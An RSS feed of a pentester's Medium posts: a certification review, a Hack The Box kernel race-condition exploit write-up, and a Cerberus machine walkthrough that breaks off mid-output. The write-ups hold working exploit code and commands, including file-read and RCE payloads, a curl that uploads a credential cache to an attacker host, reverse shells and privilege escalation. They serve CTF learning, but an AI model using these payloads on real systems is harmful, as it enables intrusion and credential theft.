<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lim8en1 on Medium]]></title>
        <description><![CDATA[Stories by Lim8en1 on Medium]]></description>
        <link>https://medium.com/@lim8en1?source=rss-3928d98d88e0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3sS0Gt3iUVSmALGmxrI3Vg.png</url>
            <title>Stories by Lim8en1 on Medium</title>
            <link>https://medium.com/@lim8en1?source=rss-3928d98d88e0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 02:59:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@lim8en1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Getting certified: my thoughts on OSCP and CPTS]]></title>
            <link>https://lim8en1.medium.com/getting-certified-my-thoughts-on-oscp-and-cpts-81b3a6235a8a?source=rss-3928d98d88e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/81b3a6235a8a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[cybersecurity-certificate]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Lim8en1]]></dc:creator>
            <pubDate>Thu, 25 Jul 2024 20:34:24 GMT</pubDate>
            <atom:updated>2024-07-25T20:34:24.686Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*dK3_BEz0CrknGe8xSNe6Xw.png" /></figure><p>Recently, I have got the OSCP and CPTS certifications. In this story, I would like to share my post-exam thoughts. The bottom line is that both courses were good and complemented each other regarding the topics covered.</p><h3>How it all started</h3><p>I started my pentesting journey about two years ago. I’ve moved to another country and considered my options for my future career. Before that, I had extensive experience in reversing and traffic analysis. Standing at the crossroads, I wasn’t sure what skills to improve. Should I improve my reversing skills and get more into binary exploitation? Or maybe I should focus on my coding skills, as I have about five years of experience in Python. Or perhaps the better approach would be to go into a new field using the skills and expertise from my prior knowledge. Ultimately, I’ve tried all of them, mainly focusing on moving into a new field, namely penetration testing.</p><p>At first, I didn’t consider any certifications. I started with the practice-first approach, doing the easiest HTB machines available. I completed them because they were fun challenges that offered learning opportunities and gave me great satisfaction. That also allowed me to join the HTB forums, where I started looking for advice, and in about one year, I was the one actively helping out my peers. As I’ve begun to work on more complex machines, I’ve noticed that my knowledge of some topics is limited. To improve my skills, I’ve opted for the HTB Academy.</p><h3>HTB Academy and the CPTS</h3><p>It took me about a year to finish the Penetration Tester job role path. I’ve taken breaks and done a lot of practice in the meantime. By the end of the course, I had done about 80 machines, including the most difficult ones, and over 20 challenges on the HTB platform. Also, I’ve become a member of the fantastic community, leading an HTB team, which has pushed me to improve my skills.</p><p>I had an ongoing subscription offering a free exam ticket, so I decided to try my skills at getting CPTS certification. The exam was brutal. It featured an AD environment where I had to hack and write an extensive commercial-grade report in 10 days. The structure of the exam is entirely linear. However, all the topics in the role path were covered. Finding a flag took me from a few minutes to several days, and when I got stuck, I got stuck for good. The final report was 78 pages long and featured a detailed overview of nineteen findings discovered in the exam environment, remediation summaries, and all the found flags.</p><p>I want to highlight the documentation writing module, which helped me tremendously in all the certifications I took and all the test tasks that required reports from me during job interviews.</p><p>Overall, the CPTS is an excellent investment in developing skills, especially for those just starting their penetration testing career.</p><h3>OSCP</h3><p>After receiving my first certification, I craved more. That’s why I decided to try my skills at the widely acknowledged OSCP certification. It costs quite a bit more compared to the CPTS. Most of the topics covered were just a refresher on what I had already learned. However, I enjoyed the topic of antivirus detection evasion, which was not included in the CPTS.</p><p>Another highlight of OSCP is the lab environment, which is probably the part of the course that I’ve enjoyed the most. Three mock exam labs allowed me to hone my methodology, understand how the exam goes, and test whether I can efficiently gather all the required data for the report.</p><p>I took all the mock exams as actual exams and got all the flags in about six to nine hours. During my exam attempt, it took me about nine hours to hack all the machines and finish the exam. Another thing I enjoyed about the exam was that it was not linear. Moreover, proper enumeration and prioritization are the keys to success.</p><p>The OSCP felt it had a higher difficulty slope than the HTB courses. It took me about a month to complete all the labs and read all the topics in the course, mostly because I’ve learned the majority of them on the HTB Academy. If OSCP were my first certification, it would have taken me much more time to complete, and I’m not entirely sure that I would have been able to pass the exam on my first try.</p><p>However, after passing the exam, I recommend taking both OSCP and CPTS, as they develop different skills. OSCP teaches a lot about the importance of proper initial enumeration, setting priorities straight, and knowing your limits. CPTS is a gentle way to learn essential penetration testing skills, including writing commercial-grade reports and using different tools across various targets.</p><h3>Conclusion</h3><p>At the end of this short story, I would like to highlight the most important skills I’ve developed during the certifications. I won’t talk about all the hard skills and how-tos I’ve learned, but more about the proper mindset and approach to difficulties and problems.</p><p>A lot was said about the <em>try harder</em> approach in cybersecurity training and courses, and I would probably not say anything new. The most important things that this journey taught me were a<em> resolve to stand up</em> and <em>learn from your mistakes</em>, an ability to <em>recognize your shortcomings</em> and <em>improve on them</em>, <em>curiosity</em>, and the ability to ask <em>the right</em> questions. It always frustrates me if I feel like a script kiddie, and it makes me dive deeper and understand how and why something works.</p><p>Also, getting used to uncertainty and practicing applying your skills is essential. To that end, doing CTF machines on platforms like HTB or TryHackMe is necessary if you intend to pass the certification on your first try. Finding a community to share ideas and improve skills is also extremely valuable.</p><p>Good luck to everyone starting their journey in cybersecurity! I hope that this short story may be an inspiration for you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81b3a6235a8a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Write-up: [Kernel Adventures: Part 1]]]></title>
            <link>https://lim8en1.medium.com/htb-write-up-kernel-adventures-part-1-71581ac384e3?source=rss-3928d98d88e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/71581ac384e3</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[kernel-exploit]]></category>
            <category><![CDATA[angr]]></category>
            <category><![CDATA[race-condition]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <dc:creator><![CDATA[Lim8en1]]></dc:creator>
            <pubDate>Thu, 18 Jul 2024 04:58:31 GMT</pubDate>
            <atom:updated>2024-08-31T20:15:14.596Z</atom:updated>
            <content:encoded><![CDATA[<h3>Looking for vulnerabilities in a loadable kernel module: [Kernel Adventures: Part 1] Write-Up</h3><p>This is the first entry in my new series of write-ups focusing on binary analysis and exploitation techniques. The scripts used in this write-up are available in <a href="https://github.com/lim8en1/public/tree/main/kernel-adventures-1">my GitHub repository</a>. Also, I have used <a href="https://github.com/lim8en1/cpio-tools">cpio-tools</a> to extract and update the provided rootfs.</p><p><a href="https://app.hackthebox.com/challenges/Kernel%20Adventures:%20Part%201">Hack The Box</a></p><h3>Long story short</h3><p>This challenge focuses on finding and exploiting a double fetch vulnerability in a provided loadable kernel module. Another exciting problem this challenge offers is a need to crack a hash produced by a custom hashing algorithm implemented in the LKM. To this end, I have used the <strong>angr</strong> binary analysis framework.</p><h3>Checking out the code</h3><p>After starting up the challenge VM, I discovered a custom loadable kernel module, mysu.ko. I extracted it from the file system image to analyze the binary further.</p><pre>$ python3 cpio-tools.py ./release/rootfs.cpio.gz unpack -o /tmp/rootfs</pre><p>A quick check using IDA revealed that this file implements a driver that exposes a character device located in <em>/dev/mysu</em>. This device is used in place of the <strong>su</strong> binary.</p><p>Information about users is saved in a simple structure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*fif4vdYmEZdmyWuDf1lB6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*O2mT3Kx8muyaeACwm7tbDQ.png" /><figcaption>In the provided binary hashes are set to 0</figcaption></figure><p>The kernel driver exposes read and write operations to access those structures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*KSO89lUEOj5PAkAeTRThjA.png" /><figcaption>Read operation decompiled</figcaption></figure><p>It is possible to use <strong>dd</strong> with <strong>hexdump</strong> to read the entries from the driver.</p><pre>$ dd if=/dev/mysu count=1 bs=16 | hexdump  -e &#39;16/1 &quot;%02x &quot;&quot;\n&quot;&#39;<br>1+0 records in<br>1+0 records out<br>e8 03 00 00 00 00 00 00 e9 03 00 00 00 00 00 00</pre><p>After carefully examining the write operation handler, I have found a possible race condition. Modifying the uid value in the buffer after the comparison but before the call to <em>commit_creds</em> makes it possible to set the current uid to an arbitrary value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*kHDZlzQP7u4Hi_ubxiC77w.png" /><figcaption>The vulnerability discovered in the write handler function</figcaption></figure><p>Also, it is essential to note that a custom hashing function is used to store the user’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*vjGoO0b71uNL2oUlEKQNxQ.png" /></figure><p>This hash function is not required to exploit the challenge locally. However, a way to find a valid password is required to get the flag. Another curious thing is that the password may be any zero-terminated byte array.</p><p>Let’s start with triggering the vulnerability in a local environment.</p><h3>Writing the exploit</h3><h4>The idea</h4><p>I had to execute the dev_write function multiple times to exploit the race condition. I checked the current user ID to see if the exploitation attempt succeeded. If it were successfully changed, that would mean that the vulnerability was triggered, and all that was left was to spawn a shell. Also, I’ve created a separate thread that modified the buffer to switch the UID.</p><h4>The code</h4><p>After understanding how to exploit the target, let’s get <a href="https://github.com/lim8en1/public/blob/main/kernel-adventures-1/exploit.c">straight to the code</a>:</p><pre>pthread_t flipper_thread;<br>// We will have to change the password to non-zero values for the remote target<br>char payload[] = { 0xe9, 0x03, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; <br>uint8_t is_done = 0;<br>&lt;SNIP&gt;<br>int ret = pthread_create(&amp;flipper_thread, NULL, flipper, (void*)&amp;arguments);<br><br>while (!is_done) {<br>    // restoring the UID in the buffer<br>    arguments.payload[0] = 0x3e9;<br>    // trggering the vulnerable function <br>    write(fd, payload, sizeof(payload));<br>    // and checking if we have got the root access<br>    if (getuid() == 0)<br>        is_done = 1;<br>}<br>&lt;SNIP&gt;<br>system(&quot;/bin/sh&quot;); // spawning a shell as the root user</pre><p>The following function was used to modify the buffer:</p><pre>void* flipper(void* arguments)<br>{<br>    struct thread_args* ta = (struct thread_args *)arguments;<br>    while (!*(ta-&gt;is_done))<br>        ta-&gt;payload[0] = 0;<br>    return 0;<br>}</pre><h4>Building and transferring</h4><p>It is essential to consider how the exploit will be transferred to the remote target. To make the executable as small as possible, I have opted for <a href="https://www.musl-libc.org/how.html">musl-gcc</a>.</p><p>Building the exploit is easy:</p><pre>$ musl-gcc ./exploit.c -lpthread -static -o ./exploit_musl-gcc</pre><p>The comparison in the sizes of the resulting binaries can be seen in a screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*SQFNlg6Okr8zkK_xkbBXOw.png" /><figcaption>Static executable compiled with musl-gcc is about 25 times smaller</figcaption></figure><p>After booting the challenge, I noticed that the file system is read-only. However, the user had write access to the <em>/tmp/</em> directory on the remote target.</p><p>To solve the challenge locally, I used the <a href="https://github.com/lim8en1/cpio-tools">cpio-tools</a> to add the exploit to the rootfs image.</p><pre>python3 cpio-tools.py ./release/rootfs.cpio.gz  add tmp/exploit ./exploit</pre><p>Running the exploit results in getting the shell in a matter of seconds:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*5k-3-L3amZHLmq9AtBNtNA.png" /></figure><p>Now, it’s time to apply this approach to the challenge located on the remote machine.</p><h3>Adjusting the exploit for the remote target</h3><h4>Cracking the hash using angr</h4><p>Reading from the device on the remote target revealed the password hashes:</p><pre>$ dd if=/dev/mysu count=1 bs=16 | hexdump  -e &#39;16/1 &quot;%02x &quot;&quot;\n&quot;&#39;<br>e8 03 00 00 x x x x e9 03 00 00 x x x x</pre><p>To find a suitable input to use as a valid password, I used <a href="https://angr.io/">angr</a>. This binary analysis framework has <a href="https://docs.angr.io/en/latest/quickstart.html">good documentation</a> that has tremendously helped me to <a href="https://github.com/lim8en1/public/blob/main/kernel-adventures-1/angr_hash_cracker.py">code the solution for the problem</a>.</p><pre>&lt;SNIP&gt;<br># the possible password will be stored here<br>address = 0xDEAD0000<br>min_password_size = 4<br>max_password_size = 32<br># hash value discovered on the remote target<br>target_hash = int.from_bytes(bytes.fromhex(&#39;x x x x&#39;.replace(&#39; &#39;, &#39;&#39;)), &#39;little&#39;)<br><br>project = angr.Project(&#39;&lt;path-to&gt;/mysu.ko&#39;)<br><br># getting some addresses to work with<br>write_addr = project.loader.main_object.get_symbol(&quot;dev_write&quot;)<br><br># instruction address used on successful hash check<br>write_success_addr = write_addr.rebased_addr + 0x55<br># instruction address used on hash check fail<br>write_failed_addr = write_addr.rebased_addr + 0x39<br># address right before calling the hash function<br>write_addr_init = write_addr.rebased_addr + 0x2c<br># users table address for a quick patch to use the target hash value instead of 0 <br>users_table_addr = project.loader.main_object.get_symbol(&quot;users&quot;).rebased_addr<br><br>init_state = project.factory.entry_state(addr=write_addr_init)<br># patching the 0-valued hash to the target hash value<br>init_state.mem[users_table_addr+4].uint32_t = target_hash<br><br># setting up the password address to be passed to the hash function as an argument<br>init_state.regs.rdi = address<br><br>for i in range(min_password_size, max_password_size):<br>    size = i<br>    # create the password variable and store it in the memory<br>    password = claripy.BVS(&#39;pwd&#39;, 8 * size)<br>    init_state.memory.store(address, password)<br>    init_state.mem[address + size].uint8_t = 0<br>     <br>    # try to find a possible solution<br>    simulation = project.factory.simgr(init_state)<br>    simulation.explore(find=write_success_addr, avoid=write_failed_addr)<br>    if simulation.found:<br>        # on success print the possible password value<br>        state = simulation.found[0]<br>        data = state.solver.eval(password,cast_to=bytes) + b&#39;\0&#39;<br>        print(&quot;Valid byte array discovered:&quot;)<br>        print(&#39;, &#39;.join(f&#39;0x{x:02x}&#39; for x in data))<br>        exit(0)<br>print(&quot;Failed to find a valid password&quot;)</pre><p>After discovering a valid password and adding it to the exploit code, it is time to transfer the exploit to the target and get the flag.</p><h4>Transferring the exploit to the target</h4><p>As there was no way to use <em>nc</em> or any similar tool out of the box on the target machine, I have thought up the following way to transfer the binary:</p><p>compress with <strong>gzip </strong>→ <strong>base64</strong> encode → copy to the target using <strong>echo </strong>→ <strong>base64 </strong>decode → decompress with <strong>gzip</strong></p><p>This can be easily <a href="https://github.com/lim8en1/public/blob/main/kernel-adventures-1/uploader.py">automated using Python</a>:</p><pre>import base64<br>import telnetlib<br>import gzip<br><br><br>chunk_size = 256<br><br># target IP and port<br>ip = &#39;x.x.x.x&#39;<br>port = 1234<br><br>file_name = &#39;exploit_musl-gcc&#39;<br>file_name_encoded = file_name.encode()<br><br>with open(file_name, &#39;rb&#39;) as inf:<br>    exploit = inf.read()<br><br>data = base64.b64encode(gzip.compress(exploit))<br><br>telnet = telnetlib.Telnet(ip, port)<br># wait until the command prompt appears<br>telnet.read_until(b&#39;$&#39;)<br><br>n_chunks = len(data) // chunk_size<br>n_chunks += 1 if len(data) % chunk_size else 0<br><br>for i in range(n_chunks):<br>    print(f&#39;\rUploading the exploit: {i}/{n_chunks}&#39;, end=&#39;&#39;)<br>    # echo &lt;base64&gt; &gt;&gt; /tmp/&lt;file&gt;.base64 <br>    telnet.write(b&#39;echo &#39; + data[chunk_size*i: (i+1)*chunk_size] + b&#39; &gt;&gt; /tmp/&#39; + file_name_encoded + b&#39;.base64\n&#39;)<br>    telnet.read_until(b&#39;$&#39;)<br><br>print(f&#39;\rUploading the exploit: {n_chunks}/{n_chunks}&#39;)<br># base64 decode<br># cat /tmp/&lt;file&gt;.base64 | base64 -d &gt; /tmp/&lt;file&gt;.gz<br>telnet.write(b&#39;cat /tmp/&#39; + file_name_encoded + b&#39;.base64 | base64 -d &gt; /tmp/&#39; + file_name_encoded + b&#39;.gz\n&#39;)<br>telnet.read_until(b&#39;$&#39;)<br># gzip decompress<br># cat /tmp/&lt;file&gt;.gz | gzip -d &gt; /tmp/&lt;file&gt;<br>telnet.write(b&#39;cat /tmp/&#39; + file_name_encoded + b&#39;.gz | gzip -d &gt; /tmp/&#39; + file_name_encoded + b&#39;\n&#39;)<br>telnet.read_until(b&#39;$&#39;)<br><br># make the file executable<br># chmod +x /tmp/&lt;file&gt;<br>telnet.write(b&#39;chmod +x /tmp/&#39; + file_name_encoded + b&#39;\n&#39;)<br>telnet.read_until(b&#39;$&#39;)<br># run the exploit<br>telnet.write(b&#39;/tmp/&#39; + file_name_encoded + b&#39;\n&#39;)<br>telnet.interact()</pre><p>Running the script resulted in getting a shell, as was expected.</p><pre>Uploading the exploit: 65/65<br> /tmp/exploit<br>[*] Opening /dev/mysu<br>[*] Starting the race...<br>[*] Done. Waiting for the thread to finish...<br>[+] Got root access... Spawning a shell<br>/ # whoami<br>whoami<br>root<br>/ #</pre><h3>Final words</h3><p>While looking for vulnerabilities in the kernel code, one thing to consider is that all the code runs in a multithreaded environment, which may result in race conditions. Also, this challenge allowed me to hone my skills in binary analysis using <strong>angr </strong>and introduced me to symbolic execution techniques.</p><p>Anyway, thank you for taking the time to learn about the [Kernel Adventures: Part 1] challenge. I sincerely hope that you found it informative and engaging. If you have any feedback or comments, please don’t hesitate to share them. Your input is greatly appreciated!</p><p>A special thanks to <a href="https://medium.com/u/a9937892cf53">x/10wx</a>, who had helped me tackle this challenge :)</p><h3>Resources</h3><ol><li><a href="https://pawnyable.cafe/linux-kernel/introduction/compile-and-transfer.html">https://pawnyable.cafe/linux-kernel/introduction/compile-and-transfer.html</a> — tips on reducing the size of the final exploit.</li><li><a href="https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/">https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/</a> — a good read on starting with the Linux kernel exploitation CTF challenges.</li><li><a href="https://docs.angr.io/en/latest/quickstart.html">https://docs.angr.io/en/latest/quickstart.html</a> — angr framework documentation. They even have some CTF challenges to hone your skills.</li><li><a href="https://github.com/lim8en1/cpio-tools">https://github.com/lim8en1/cpio-tools</a> — cpio format reader/writer.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71581ac384e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Write-up: Cerberus]]></title>
            <link>https://lim8en1.medium.com/htb-write-up-cerberus-22f94b90e924?source=rss-3928d98d88e0------2</link>
            <guid isPermaLink="false">https://medium.com/p/22f94b90e924</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Lim8en1]]></dc:creator>
            <pubDate>Sat, 29 Jul 2023 16:16:41 GMT</pubDate>
            <atom:updated>2023-07-29T16:16:41.270Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PjqwU6iB58T-ZFR1ebV9Qg.png" /></figure><h3>About the machine</h3><p><a href="https://app.hackthebox.com/machines/Cerberus">Hack The Box</a></p><p><em>Cerberus</em> is a <strong>hard difficulty-level Windows machine</strong> on a popular CTF platform <strong>Hack The Box</strong>. This machine primarily focuses on finding and exploiting CVEs to get and elevate access. Also, this box features a two-host AD environment that provides a pivoting challenge and offers interesting enumeration problems.</p><p>You can check out the scripts in my <a href="https://github.com/lim8en1/public/tree/main/cerberus">GitHub repository</a> to follow this write-up.</p><h3>Long story short</h3><p>By chaining <a href="https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/">CVE-2022–24716 and CVE-2022–24715</a> I have been able to get the foothold. <a href="https://www.openwall.com/lists/oss-security/2022/06/08/10">CVE-2022–31214</a> allowed me to escalate privileges to root on the Linux host, get cached credentials, and pivot to get access to another machine. On the Windows machine after internal port enumeration, I’ve found a vulnerable to <a href="https://packetstormsecurity.com/files/170925/ManageEngine-ADSelfService-Plus-Unauthenticated-SAML-Remote-Code-Execution.html">CVE-2022–47966</a> ADSelfService instance. Exploiting that vulnerability allowed me to escalate privileges, and get the root flag.</p><h3>User flag: exploiting Linux to access Windows</h3><h4>Initial enumeration</h4><p>The first thing to do when starting a new box is to enumerate ports:</p><pre>$ sudo nmap -sC -sV -p- 10.10.11.205<br>Nmap scan report for 10.10.11.205<br>Host is up (0.035s latency).<br>Not shown: 65534 filtered tcp ports (no-response)<br>PORT     STATE SERVICE VERSION<br>8080/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))<br>|_http-title: Did not follow redirect to http://icinga.cerberus.local:8080/icingaweb2<br>|_http-open-proxy: Proxy might be redirecting requests<br>|_http-server-header: Apache/2.4.52 (Ubuntu)</pre><p>Nmap script scan exposes the target hostname in a redirect, so now it’s possible to add it to the /etc/hosts.</p><pre>$ echo &#39;10.10.11.205 icinga.cerberus.local&#39; | sudo tee -a /etc/hosts</pre><h4>Bypassing the login screen</h4><p>Visiting the webserver reveals that <a href="https://github.com/Icinga/icingaweb2">Icinga Web 2</a> is hosted there. After unsuccessfully trying out a small list of default/common credentials, I’ve started looking for recent vulnerabilities. <a href="https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/#arbitrary-file-disclosure-cve202224716">CVE-2022–24716</a> seems to be a promising lead. It allows unauthorized users to expose arbitrary files on the target system, including web interface credentials stored in configuration files.</p><p>Automating exploitation of this vulnerability is easy and can be done via curl or in a few lines of Python:</p><pre>import argparse<br>import requests as requests<br>import urllib.parse<br><br><br># CVE-2022–24716 exploit<br>def read_file(base_url: str, path: str) -&gt; str | None:<br>    url = urllib.parse.urljoin(base_url, f&quot;./lib/icinga/icinga-php-thirdparty/{path}&quot;)<br>    response = requests.get(url, allow_redirects=False)<br>    if response.status_code == 200:<br>        return response.text<br>    return None<br><br><br>if __name__ == &#39;__main__&#39;:<br>    parser = argparse.ArgumentParser()<br>    parser.add_argument(&quot;--base-url&quot;, type=str, default=&quot;http://icinga.cerberus.local:8080/icingaweb2/&quot;)<br>    parser.add_argument(&quot;file_path&quot;, type=str)<br>    args = parser.parse_args()<br><br>    data = read_file(args.base_url, args.file_path)<br>    if data:<br>        print(f&quot;{args.file_path}:\n{data}&quot;)<br>    else:<br>        print(f&quot;Failed to read {args.file_path}&quot;)</pre><p>By referring to <a href="https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/">the official installation and configuration guide</a>, one can gather insight into which files might store the necessary login information.</p><pre>$ python3 ./lfi.py /etc/icingaweb2/resources.ini<br>/etc/icingaweb2/resources.ini:<br>[icingaweb2]<br>type = &quot;db&quot;<br>db = &quot;mysql&quot;<br>host = &quot;localhost&quot;<br>dbname = &quot;icingaweb2&quot;<br>username = &quot;matthew&quot;<br>password = &quot;IcingaWebPassword2023&quot;</pre><p>Upon testing the discovered credentials, it has been confirmed that they are valid.</p><h4>Getting a shell</h4><p>The <a href="https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/#remote-code-execution-cve202224715">article by SonarSource</a> also features an RCE vulnerability (CVE-2022–24715). For the successful exploitation of the said vulnerability, it is required to know a path to a valid PEM file on the server. Despite attempting several common PEM paths for Linux installations, I was unable to find any. As an alternative, I opted to upload the necessary file by creating a resource through Icinga Web.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*ls7nUvTpnXsXmkOdWjGgUg.png" /></figure><p>Finding the absolute path to the uploaded PEM file is quite easy. Let’s start by referring to the function beforeAdd() from <a href="https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/#initial-finding">the said article</a>:</p><pre>$filePath = $configDir . &#39;/ssh/&#39; . $user;</pre><p>I have already found the configuration directory for the Icinga instance, and $user is probably the value passed in the request.</p><pre>$ python3 ./lfi.py /etc/icingaweb2/ssh/some_user<br>/etc/icingaweb2/ssh/some_user:<br>-----BEGIN RSA PRIVATE KEY-----<br>MIIEpQIBAAKCAQEAxXEj/uD2LuOH5fgNhy4B/0WYBmogqnP4M8LykpEdjFV7wjKk<br>...</pre><p>The next challenge is to create a valid Icinga module. I’ve used <a href="https://github.com/Icinga/icingaweb2-module-training/blob/master/doc/extending-icinga-web-2.md">the official documentation</a> and a <a href="https://github.com/Icinga/icingaweb2-module-idoreports">module example</a> to guide me. Among the example directory structure, the most intriguing file is run.php, as the code within this file runs automatically once the module is loaded.</p><p>My first attempts at spawning a reverse shell ended up in failure. This got me thinking about how I could identify the available binaries that I could use. So I came up with a plan consisting of several steps:</p><ol><li><strong>To receive a callback from the victim machine</strong>. This would provide me with a way to exfiltrate information for future steps, as well as serve as proof that spawning a shell is possible.</li><li><strong>To enumerate the binaries and find the useful ones</strong>. This would provide me with initial data that will be used to build the payload.</li><li><strong>To build and execute the payload</strong>. This is the final step on which I will hopefully get a shell on the target system.</li></ol><p>I’ve managed to receive a callback using the following payload:</p><pre>curl http://{args.ip}:{args.listen_port}/test</pre><p>Also, it made me consider how to deal with the module once it has been run as the payload got repeatedly triggered. To resolve this issue I’ve added the following command to my payload f&#39;rm /dev/shm/{module_name}/run.php.</p><p>I’ve added the following arguments to <em>curl</em> in the payload in order to list the binaries on the system:-X POST --data &quot;$(ls /bin)&quot;. After checking out the output, the most effective way to spawn a shell was to use the installed Python interpreter.</p><p>I’ve finally got the foothold by using a payload from <a href="https://www.revshells.com/">the online reverse shell generator</a>.</p><pre>$ nc -nlvp 18001<br>listening on [any] 18001 ...<br>connect to [x.x.x.x] from (UNKNOWN) [10.10.11.205] 49878<br>$ whoami<br>www-data</pre><h4>Elevating the privileges</h4><p>For a quick enumeration of the machine, I’ve used <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">linpeas</a>. There is an unusual suid binary on the system located at /bin/firejail. After checking out the version (0.9.68rc1), I’ve discovered that it’s possible to escalate privileges using <a href="https://www.openwall.com/lists/oss-security/2022/06/08/10">CVE-2022–31214</a>. Checking out the configuration showed that there are no mitigations in place.</p><pre>www-data@icinga:/tmp$ ./firejoin.py<br>You can now run &#39;firejail --join=29945&#39; in another terminal to <br>obtain a shell where &#39;sudo su -&#39; should grant you a root shell.</pre><p>Spawning another shell it is finally possible to get root access to the machine:</p><pre>www-data@icinga:/usr/share/icingaweb2/public$ firejail --join=29945<br>changing root to /proc/29945/root<br>Warning: cleaning all supplementary groups<br>Child process initialized in 32.13 ms<br>www-data@icinga:/usr/share/icingaweb2/public$ su<br>root@icinga:/usr/share/icingaweb2/public# whoami<br>root</pre><p><strong>Pivoting the way in</strong></p><p>Checking out the /etc/hosts file shows that there is an entryDC.cerberus.local there. It is probably the real target machine with Windows OS installed.</p><p>I’ve used <a href="https://github.com/starhound/PortScan">a portable Python port scanner</a> to enumerate the open ports on the discovered host because scanning through a socks proxy takes an <strong>incredibly</strong> long time.</p><pre># python3 ./PortScan-CLI.py 172.16.22.1 1 65535<br>[*] Starting TCP port scan on host 172.16.22.1<br>[+] 172.16.22.1:5985/TCP Open</pre><p>It seems like the WinRM port is open on the target! All other ports are filtered or closed though. Now I need to find a valid set of credentials. As the target machine is a Domain Controller, that means that the Linux host may be in the AD environment as well. Checking out for common configuration files for such environments, showed that there is krb.conf in the/etc/ directory. Further r<a href="https://i.blackhat.com/eu-18/Wed-Dec-5/eu-18-Wadhwa-Brown-Where-2-Worlds-Collide-Bringing-Mimikatz-et-al-to-UNIX.pdf">eading about AD on Linux</a> highlighted some possible places to be checked out.</p><pre># curl -X POST -F&#39;files=@/var/lib/sss/db/cache_cerberus.local.ldb&#39; http://x.x.x.x:8000/upload</pre><p>Using tdbdump revealed a cached password for user matthew:</p><pre>tdbdump cache_cerberus.local.ldb | grep -i pass<br>data(563) = &quot;g\19\01&amp;\0D\00\00\00name=matthew@cerberus.local,cn=users,cn=cerberus.local,cn=sysdb <br>...<br>cachedPassword\00\01\00\00\00j\00\00\00$6$6LP9gyiX ...</pre><p>Cracking the hash got me the password. Now all that is left is to use port forwarding to access the Windows machine. I have used <a href="https://github.com/jpillora/chisel">chisel</a> for the task.</p><pre>$ ./chisel server --reverse --port 19000<br>2023/07/28 13:14:04 server: Reverse tunnelling enabled<br>2023/07/28 13:14:04 server: Fingerprint eG2VJdNW7b2UPLXc0k/+vckVTwhp/2x/aV6dLpS1Uys=<br>2023/07/28 13:14:04 server: Listening on http://0.0.0.0:19000<br>2023/07/28 13:15:07 server: session#1: tun: proxy#R:5985=&gt;172.16.22.1:5985: Listening</pre><pre>$ evil-winrm -i 127.0.0.1 -u matthew -p &#39;147258369&#39;                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\matthew\Desktop&gt; ls<br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-ar---        7/27/2023   3:46 PM             34 user.txt</pre><p>That concludes the <em>user </em>part of the machine. Now it&#39;s time to elevate privileges and get another flag!</p><h3>Root: one more CVE</h3><p>Running netstat showed that there are quite a few listening ports:</p><pre>netstat -a<br>  Proto  Local Address          Foreign Address        State<br>  TCP    0.0.0.0:80             DC:0                   LISTENING<br>  TCP    0.0.0.0:88             DC:0                   LISTENING<br>  TCP    0.0.0.0:135            DC:0                   LISTENING<br>  TCP    0.0.0.0:389            DC:0                   LISTENING<br>  TCP    0.0.0.0:443            DC:0                   LISTENING<br>  TCP    0.0.0.0:445       